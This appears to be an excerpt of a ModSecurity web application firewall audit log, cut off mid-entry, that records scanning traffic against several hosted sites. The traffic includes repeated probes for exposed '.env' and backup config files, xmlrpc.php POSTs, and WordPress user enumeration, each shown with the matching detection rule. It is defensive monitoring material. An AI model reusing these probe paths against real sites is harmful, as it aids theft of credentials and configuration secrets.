Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e60d2638-Z-- --5b50951c-A-- [16/Jun/2025:07:33:33.941493 +0530] aE97dAD0DwMUVKUIct3ZKwAAAAI 128.199.112.101 53442 127.0.0.1 7081 --5b50951c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5b50951c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5b50951c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE97dAD0DwMUVKUIct3ZKwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039412976813 964738 (- - -) Stopwatch2: 1750039412976813 964738; combined=2151, p1=349, p2=1364, p3=40, p4=71, p5=207, sr=94, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b50951c-Z-- --f532e25f-A-- [16/Jun/2025:07:33:43.576189 +0530] aE97fgS4XDlCv3KXioQJIwAAAAY 185.177.72.210 60644 127.0.0.1 7081 --f532e25f-B-- GET /:8080/vendor/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f532e25f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1126fe17d1729359be5b460e8691b9dd1750039423; expires=Mon, 16 Jun 2025 03:03:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f532e25f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/vendor/laravel/.env"] [unique_id "aE97fgS4XDlCv3KXioQJIwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039422928947 647306 (- - -) Stopwatch2: 1750039422928947 647306; combined=1883, p1=412, p2=1361, p3=0, p4=0, p5=109, sr=123, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f532e25f-Z-- --b4710a17-A-- [16/Jun/2025:07:33:46.710942 +0530] aE97gokQyF8-ounHsxsKAAAAAA8 185.177.72.210 60726 127.0.0.1 7081 --b4710a17-B-- GET /:8888/library/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b4710a17-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=773185db1c268ed59df9e64b7c6289e31750039426; expires=Mon, 16 Jun 2025 03:03:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b4710a17-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/library/.env"] [unique_id "aE97gokQyF8-ounHsxsKAAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039426043937 667074 (- - -) Stopwatch2: 1750039426043937 667074; combined=1993, p1=406, p2=1475, p3=0, p4=0, p5=111, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b4710a17-Z-- --3e6b2922-A-- [16/Jun/2025:07:33:53.564545 +0530] aE97iUN_xpBAtP8SIP06vAAAAAo 223.233.68.38 45712 127.0.0.1 7081 --3e6b2922-B-- GET /wp-json/wp/v2/users HTTP/1.0 Host: archangledesignstudio.com X-Real-IP: 223.233.68.38 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Language: en-IN User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) --3e6b2922-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://archangledesignstudio.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin,User-Agent Connection: close Content-Type: application/json; charset=UTF-8 --3e6b2922-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "archangledesignstudio.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aE97iUN_xpBAtP8SIP06vAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/archangledesignstudio.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039433309908 254716 (- - -) Stopwatch2: 1750039433309908 254716; combined=1962, p1=373, p2=1472, p3=0, p4=0, p5=117, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3e6b2922-Z-- --d49f190f-A-- [16/Jun/2025:07:34:23.430916 +0530] aE97proFnONBt7jRcByY6AAAAA4 185.177.72.210 54326 127.0.0.1 7081 --d49f190f-B-- GET /mailman/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d49f190f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aa24320d68bee85d8422f6f0332fc9501750039463; expires=Mon, 16 Jun 2025 03:04:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d49f190f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/mailman/.env"] [unique_id "aE97proFnONBt7jRcByY6AAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039462784277 646704 (- - -) Stopwatch2: 1750039462784277 646704; combined=1854, p1=383, p2=1359, p3=0, p4=0, p5=112, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d49f190f-Z-- --941fde15-A-- [16/Jun/2025:07:34:24.476263 +0530] aE97p_vF1ly0gx5reNmGFwAAAAE 185.177.72.210 54364 127.0.0.1 7081 --941fde15-B-- GET /projbackend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --941fde15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8bd238c549399673c5b3d83bce51fec61750039464; expires=Mon, 16 Jun 2025 03:04:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --941fde15-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/projbackend/.env"] [unique_id "aE97p_vF1ly0gx5reNmGFwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039463762689 713637 (- - -) Stopwatch2: 1750039463762689 713637; combined=1927, p1=362, p2=1450, p3=0, p4=0, p5=115, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --941fde15-Z-- --02703001-A-- [16/Jun/2025:07:34:29.473158 +0530] aE97rOMjvy_LHXlMeRAWuAAAAAU 185.177.72.210 54588 127.0.0.1 7081 --02703001-B-- GET /:8000/sites/all/libraries/mailchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --02703001-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b24f75ddd82c66296664d91a9495e88a1750039469; expires=Mon, 16 Jun 2025 03:04:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --02703001-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/sites/all/libraries/mailchimp/.env"] [unique_id "aE97rOMjvy_LHXlMeRAWuAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039468792255 680964 (- - -) Stopwatch2: 1750039468792255 680964; combined=2208, p1=484, p2=1623, p3=0, p4=0, p5=100, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --02703001-Z-- --72856264-A-- [16/Jun/2025:07:34:30.493622 +0530] aE97rUN_xpBAtP8SIP06zwAAAAo 185.177.72.210 59594 127.0.0.1 7081 --72856264-B-- GET /en/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --72856264-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3b52fff66fe6eaf04bcd14a76476df321750039470; expires=Mon, 16 Jun 2025 03:04:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --72856264-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/en/.env"] [unique_id "aE97rUN_xpBAtP8SIP06zwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039469819893 673801 (- - -) Stopwatch2: 1750039469819893 673801; combined=1871, p1=404, p2=1377, p3=0, p4=0, p5=90, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --72856264-Z-- --9e958525-A-- [16/Jun/2025:07:34:32.508879 +0530] aE97r-Mjvy_LHXlMeRAWuQAAAAU 185.177.72.210 59694 127.0.0.1 7081 --9e958525-B-- GET /:8443/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9e958525-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=39ee46103787e80ca08285c1769330191750039472; expires=Mon, 16 Jun 2025 03:04:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9e958525-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/configurationtion/.env"] [unique_id "aE97r-Mjvy_LHXlMeRAWuQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039471851767 657196 (- - -) Stopwatch2: 1750039471851767 657196; combined=1920, p1=366, p2=1432, p3=0, p4=0, p5=121, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9e958525-Z-- --4493b63b-A-- [16/Jun/2025:07:34:33.453116 +0530] aE97sEN_xpBAtP8SIP060AAAAAo 128.199.112.101 59704 127.0.0.1 7081 --4493b63b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4493b63b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4493b63b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE97sEN_xpBAtP8SIP060AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039472513834 939372 (- - -) Stopwatch2: 1750039472513834 939372; combined=2552, p1=357, p2=1619, p3=55, p4=89, p5=271, sr=94, sw=161, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4493b63b-Z-- --f0e14248-A-- [16/Jun/2025:07:34:33.539868 +0530] aE97sAD0DwMUVKUIct3ZTgAAAAI 185.177.72.210 59712 127.0.0.1 7081 --f0e14248-B-- GET /samples/docker/deploymentscripts/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f0e14248-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a215cb628ac684b19fe8d4664a297bdc1750039473; expires=Mon, 16 Jun 2025 03:04:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f0e14248-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/samples/docker/deploymentscripts/.env"] [unique_id "aE97sAD0DwMUVKUIct3ZTgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039472842063 697893 (- - -) Stopwatch2: 1750039472842063 697893; combined=2541, p1=407, p2=2004, p3=0, p4=0, p5=129, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f0e14248-Z-- --934a6a07-A-- [16/Jun/2025:07:34:44.250265 +0530] aE97u-Mjvy_LHXlMeRAWxAAAAAU 185.177.72.210 51014 127.0.0.1 7081 --934a6a07-B-- GET /target/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --934a6a07-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f0ceb6203a784d9ac9f7e6e6b2802f5d1750039484; expires=Mon, 16 Jun 2025 03:04:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --934a6a07-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/target/.env"] [unique_id "aE97u-Mjvy_LHXlMeRAWxAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039483550760 699605 (- - -) Stopwatch2: 1750039483550760 699605; combined=1893, p1=381, p2=1393, p3=0, p4=0, p5=119, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --934a6a07-Z-- --0907f365-A-- [16/Jun/2025:07:34:49.134679 +0530] aE97wOhCUAahT1nBjTYSdwAAAAM 185.177.72.210 51216 127.0.0.1 7081 --0907f365-B-- GET /src/character-service/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0907f365-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f6967ed084f1869b8d3e0ce8a6aba4211750039488; expires=Mon, 16 Jun 2025 03:04:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0907f365-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/src/character-service/.env"] [unique_id "aE97wOhCUAahT1nBjTYSdwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039488429576 705165 (- - -) Stopwatch2: 1750039488429576 705165; combined=1660, p1=381, p2=1176, p3=0, p4=0, p5=102, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0907f365-Z-- --e5a8d121-A-- [16/Jun/2025:07:34:50.111115 +0530] aE97wWCnKbldJKSM7awcSQAAAAc 185.177.72.210 56752 127.0.0.1 7081 --e5a8d121-B-- GET /backups/config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e5a8d121-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=af6bb8f0d17d1f4cf3e98504db3740331750039489; expires=Mon, 16 Jun 2025 03:04:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e5a8d121-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO 